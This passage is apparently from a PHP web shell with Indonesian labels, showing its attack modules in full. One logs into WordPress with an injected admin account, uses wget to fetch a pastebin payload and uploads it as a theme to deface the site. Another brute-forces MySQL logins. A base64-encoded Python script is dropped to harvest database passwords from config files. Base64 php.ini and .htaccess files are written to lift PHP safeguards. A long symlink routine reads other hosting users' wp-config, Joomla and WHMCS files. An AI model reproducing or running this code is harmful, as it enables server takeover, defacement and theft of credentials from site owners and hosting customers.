3301 $ch1 = curl_init ("$sites");
3302curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
3303curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
3304curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3305curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
3306curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
3307curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
3308curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
3309curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
3310$data = curl_exec ($ch1);
3311return $data;
3312 }
3313
3314 function lohgin($cek, $web, $userr, $pass){
3315 $post = array(
3316 "log" => "$userr",
3317 "pwd" => "$pass",
3318 "rememberme" => "forever",
3319 "wp-submit" => "Log In",
3320 "redirect_to" => "$web/wp-admin/",
3321 "testcookie" => "1",
3322 );
3323$ch = curl_init ("$cek");
3324curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
3325curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
3326curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3327curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
3328curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
3329curl_setopt ($ch, CURLOPT_POST, 1);
3330curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
3331curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
3332curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
3333$data6 = curl_exec ($ch);
3334return $data6;
3335 }
3336
3337$site= "$target/wp-login.php";
3338$site2= "$target/wp-admin/theme-install.php?upload";
3339$a = lohgin($site, $target, $user_baru, $password_baru);
3340$b = lohgin($site2, $target, $user_baru, $password_baru);
3341
3342
3343$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
3344echo "# token -> $anu2<br>";
3345
3346
3347 system('wget http://pastebin.com/raw.php?i=mEQP6prW');
3348 system('cp raw.php?i=mEQP6prW m.php');
3349
3350 $post2 = array(
3351 "_wpnonce" => "$anu2",
3352 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
3353 "themezip" => "@m.php",
3354 "install-theme-submit" => "Install Now",
3355 );
3356$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
3357curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
3358curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
3359curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
3360curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
3361curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
3362curl_setopt ($ch, CURLOPT_POST, 1);
3363curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
3364curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
3365curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
3366$data3 = curl_exec ($ch);
3367
3368$namafile = "wew.php";
3369$fp2 = fopen($namafile,"w");
3370fputs($fp2,$nick);
3371
3372$y = date("Y");
3373$m = date("m");
3374
3375
3376$ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
3377curl_setopt($ch6, CURLOPT_POST, true);
3378curl_setopt($ch6, CURLOPT_POSTFIELDS,
3379array('file3'=>"@$namafile"));
3380curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
3381curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
3382$postResult = curl_exec($ch6);
3383curl_close($ch6);
3384
3385$as = "$target/k.php";
3386$bs = file_get_contents($as);
3387 if(preg_match("#hacked#si",$bs)){
3388 echo "# <font color='green'>berhasil mepes...</font><br>";
3389 echo "# $target/k.php<br>";
3390 }
3391 else{
3392 echo "# <font color='red'>gagal mepes...</font><br>";
3393 echo "# coba aja manual: <br>";
3394 echo "# $target/wp-login.php<br>";
3395 echo "# username: $user_baru<br>";
3396 echo "# password: $password_baru<br>";
3397
3398
3399 }
3400
3401
3402
3403
3404 }
3405
3406 elseif($tanya=="n"){
3407 echo "# Sukses<br>";
3408 echo "# username: $user_baru<br>";
3409 echo "# password: $password_baru<br>";
3410 }
3411
3412
3413
3414 }else{
3415 echo '<html>
3416 <head>
3417 <title>Wordpress Created New User</title>
3418 </head>
3419
3420 <body>
3421 <center>
3422 <center><div id="button"></div>
3423 <h2>Wordpress Created New User</h2>
3424 <table>
3425 <tr><td><form method="post" action="?action"></td></tr>
3426 <tr><td><input type="text" name="host" placeholder="localhost"></td></tr>
3427 <tr><td><input type="text" name="username" placeholder="User DB"></td></tr>
3428 <tr><td><input type="text" name="password" placeholder="Password DB"></td></tr>
3429 <tr><td><input type="text" name="db" placeholder="Database"></td></tr>
3430 <tr><td><input type="text" name="dbprefix" placeholder="dbprefix"></td></tr>
3431 <tr><td><input type="text" name="user_baru" placeholder="Username Baru"></td></tr>
3432 <tr><td><input type="text" name="password_baru" placeholder="Password Baru"></td></tr>
3433 <tr><td> Auto Deface <input type="radio" name="tanya" value="y"> y <input type="radio" name="tanya" value="n"> n</td></tr>
3434
3435 <tr><td><input type="text" name="nick" placeholder="Hacked By Tu5b0l3d"></td></tr>
3436 <tr><td><input type="submit" value="Ganti"></td></tr>
3437 </table>
3438 *nb: kalo milih y ... silahkan Ganti Form Hacked By Tu5b0l3d jadi Hacked by Nick_ente
3439 </center>
3440 </body>';
3441 }
3442
3443}
3444
3445elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
3446 {
3447 ?>
3448 <form action="?path=<?php echo $path; ?>&x=brute" method="post">
3449<?php
3450
3451@set_time_limit(0);
3452@error_reporting(0);
3453
3454
3455if($_POST['page']=='find')
3456{
3457if(isset($_POST['usernames']) && isset($_POST['passwords']))
3458{
3459 if($_POST['type'] == 'passwd'){
3460 $e = explode("\n",$_POST['usernames']);
3461 foreach($e as $value){
3462 $k = explode(":",$value);
3463 $username .= $k['0']." ";
3464 }
3465 }elseif($_POST['type'] == 'simple'){
3466 $username = str_replace("\n",' ',$_POST['usernames']);
3467 }
3468 $a1 = explode(" ",$username);
3469 $a2 = explode("\n",$_POST['passwords']);
3470 $id2 = count($a2);
3471 $ok = 0;
3472 foreach($a1 as $user )
3473 {
3474 if($user !== '')
3475 {
3476 $user=trim($user);
3477 for($i=0;$i<=$id2;$i++)
3478 {
3479 $pass = trim($a2[$i]);
3480 if(@mysql_connect('localhost',$user,$pass))
3481 {
3482 echo "Zoo!! ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
3483 $ok++;
3484 }
3485 }
3486 }
3487 }
3488 echo "<hr><b>You Found <font color=red>$ok</font> Nice</b>";
3489 echo "<center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
3490 exit;
3491}
3492}
3493if($_POST['pass']=='password'){
3494@error_reporting(0);
3495$i = getenv('REMOTE_ADDR');
3496$d = date('D, M jS, Y H:i',time());
3497$h = $_SERVER['HTTP_HOST'];
3498$dir=$_SERVER['PHP_SELF'];
3499mkdir('config',0755);
3500$cp =
3501'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
3502$file = fopen("cp.py","w+");
3503$write = fwrite ($file ,base64_decode($cp));
3504fclose($file);
3505chmod("cp.py",0755);
3506$url = $_POST['url'];
3507echo"<center>
3508<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
3509system("python cp.py $url config");
3510unlink ('cp.py');
3511echo"</textarea>
3512</center>";
3513echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
3514exit;
3515}
3516if($_POST['matikan']=='sekatan'){
3517@error_reporting(0);
3518$phpini =
3519'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
3520$file = fopen("php.ini","w+");
3521$write = fwrite ($file ,base64_decode($phpini));
3522fclose($file);
3523$htaccess =
3524'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
3525$file = fopen(".htaccess","w+");
3526$write = fwrite ($file ,base64_decode($htaccess));
3527echo "<hr><center><b>DONE!";
3528echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."?brute>BACK</a>";
3529exit;
3530}
3531if($_POST['mendapatkan']=='passwd'){
3532@set_magic_quotes_runtime(0);
3533ob_start();
3534error_reporting(0);
3535@set_time_limit(0);
3536@ini_set('max_execution_time',0);
3537@ini_set('output_buffering',0);
3538$fn = $_POST['foldername'];
3539//all function here
3540
3541function syml($usern,$pdomain)
3542 {
3543 symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3544 symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3545 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3546 symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3547 symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3548 symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3549 symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3550 symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3551 symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3552 symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3553 symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3554 symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3555 symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3556 symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3557 symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3558 symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3559 symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3560 symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3561 symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3562 symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3563 symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3564 symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3565 symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3566 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3567 symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3568 symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3569 symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3570 symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3571 symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3572 symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3573 symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3574 symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3575 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3576 symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3577 symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3578 symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
3579 symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
3580 symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
3581 symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
3582 symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
3583 symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
3584 symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
3585 symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
3586 symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
3587 symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
3588 symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
3589 symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
3590 symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
3591 symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
3592 symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
3593 symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
3594 symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
3595 symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
3596 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
3597 symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
3598 symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
3599 symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
3600 symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
3601 symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
3602 symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
3603 symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
3604 symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
3605 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
3606 symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
3607 symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
3608 symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
